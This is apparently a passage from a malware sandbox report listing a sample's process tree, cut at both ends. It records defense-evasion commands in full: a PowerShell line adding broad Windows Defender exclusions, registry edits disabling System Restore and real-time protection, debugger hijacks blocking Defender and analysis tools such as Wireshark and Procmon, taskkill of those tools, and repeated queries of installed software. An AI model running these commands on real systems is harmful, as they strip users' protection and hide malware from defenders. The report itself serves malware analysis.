3⤵
- Checks for installed software on the system
PID:1980

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\LdlkM','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\LdlkM\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1660

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d "1" /f
2⤵
PID:1504

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1952

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
2⤵
- Kills process with taskkill
PID:1924

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:2016

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d "1" /f
2⤵
PID:2004

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
2⤵
PID:1100

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1076

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1448

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:524

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:64
3⤵
- Checks for installed software on the system
PID:656

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:32
3⤵
- Checks for installed software on the system
PID:1568

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1656

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1052

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:836

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1036

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1324

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
2⤵
- Modifies Windows Defender Real-time Protection settings
PID:1836

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1852

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1876

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:816

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1628

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1464

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F
2⤵
- Kills process with taskkill
PID:1952

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1620

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:64
3⤵
- Checks for installed software on the system
PID:2028

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:32
3⤵
PID:1084

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1964

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:760

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:64
3⤵
PID:1804

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:32
3⤵
PID:1572

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1828

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:64
3⤵
PID:1060

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:32
3⤵
PID:568

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F
2⤵
- Kills process with taskkill
PID:1216

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1076

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:64
3⤵
PID:1448

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:32
3⤵
PID:1832

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1900

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:64
3⤵
PID:1404

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:32
3⤵
PID:1968

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1792

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:64
3⤵
PID:1988

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:32
3⤵
PID:524

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F
2⤵
- Kills process with taskkill
PID:1324

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:884

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:64
3⤵
PID:1848

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:32
3⤵
PID:1892

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:620

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:64
3⤵
PID:1904

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:32
3⤵
PID:1684

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:1628

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1464

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:64
3⤵
PID:1856

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:32
3⤵
PID:1636

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1336

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:64
3⤵
PID:1060

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:32
3⤵
PID:1864

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1448

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:64
3⤵
PID:1832

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:32
3⤵
PID:1568

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F
2⤵
- Kills process with taskkill
PID:1852

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1372

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:64
3⤵
- Checks for installed software on the system
PID:1984

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:32
3⤵
PID:1780

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1828

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:64
3⤵
- Checks for installed software on the system
PID:1620

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:32
3⤵
PID:1076

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1684

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:64
3⤵
PID:1280

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:32
3⤵
PID:1636

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F
2⤵
- Kills process with taskkill
PID:1576

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1060

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:64
3⤵
- Checks for installed software on the system
PID:1480

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Office14.PROPLUS" /reg:32
3⤵
PID:1568

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:816

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:64
3⤵
PID:1232

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:32
3⤵
PID:1552

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:744

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:64
3⤵
- Checks for installed software on the system
PID:1900

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:32
3⤵
PID:1276

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1088

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:64
3⤵
PID:1620

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:32
3⤵
PID:2004

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1700

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:64
3⤵
- Checks for installed software on the system
PID:1084

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{09CCBE8E-B964-30EF-AE84-6537AB4197F9}" /reg:32
3⤵
PID:1752

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:2012

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:64
3⤵
- Checks for installed software on the system
PID:1472

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:32
3⤵
PID:1632

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "ConfigSecurityPolicy.exe" /T /F
2⤵
- Kills process with taskkill
PID:1868

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1468

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:64
3⤵
- Checks for installed software on the system
PID:872

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:32
3⤵
PID:1920

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1976

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1772

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:64
3⤵
- Checks for installed software on the system
PID:1636

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F06417080FF}" /reg:32
3⤵
PID:760

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1876

C:\Windows\System32\reg.exe
"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:64
2⤵
- Sets file execution options in registry
PID:1860

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1832

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:64
3⤵
- Checks for installed software on the system
PID:2016

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:32
3⤵
PID:568

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1780

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:64
3⤵
- Checks for installed software on the system
PID:812

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:32
3⤵
PID:1576

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1948

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:64
3⤵
- Checks for installed software on the system
PID:1620

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}" /reg:32
3⤵
PID:1516

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1104

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:64
3⤵
- Checks for installed software on the system
PID:1532

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0170800}" /reg:32
3⤵
PID:1372

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "procexp.exe" /T /F
2⤵
- Kills process with taskkill
PID:1464

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1796

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1752

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0011-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:1784

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1472

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1632

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0015-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:2008

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:872

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1940

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0016-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1068

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1332

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1568

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0018-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1988

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1228

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1636

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0019-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1956

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1612

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1984

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001A-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:368

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "wireshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:484

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1076

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1860

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001B-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1952

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1324

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:108

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:812

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:2004

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:744

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-040C-1000-0000000FF1CE}" /reg:32
3⤵
PID:1516

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1448

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:620

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-001F-0C0A-1000-0000000FF1CE}" /reg:32
3⤵
PID:1372

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1336

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1684

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-002C-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1464

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1708

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1752

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0000-1000-0000000FF1CE}" /reg:32
3⤵
PID:1124

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1544

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:2008

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0043-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1924

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1768

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1856

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0044-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:748

C:\Windows\System32\taskkill.exe
"C:\Windows\System32\taskkill.exe" /IM "tshark.exe" /T /F
2⤵
- Kills process with taskkill
PID:1568

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1792

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1840

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-006E-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:388

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1056

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1556

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00A1-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1864

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1860

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:2040

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-00BA-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1576

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:812

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:1620

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0115-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1064

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1036

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:64
3⤵
- Checks for installed software on the system
PID:620

C:\Windows\system32\reg.exe
reg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{90140000-0117-0409-1000-0000000FF1CE}" /reg:32
3⤵
PID:1048

C:\Windows\system32\cmd.exe
cmd.exe
2⤵
PID:1448

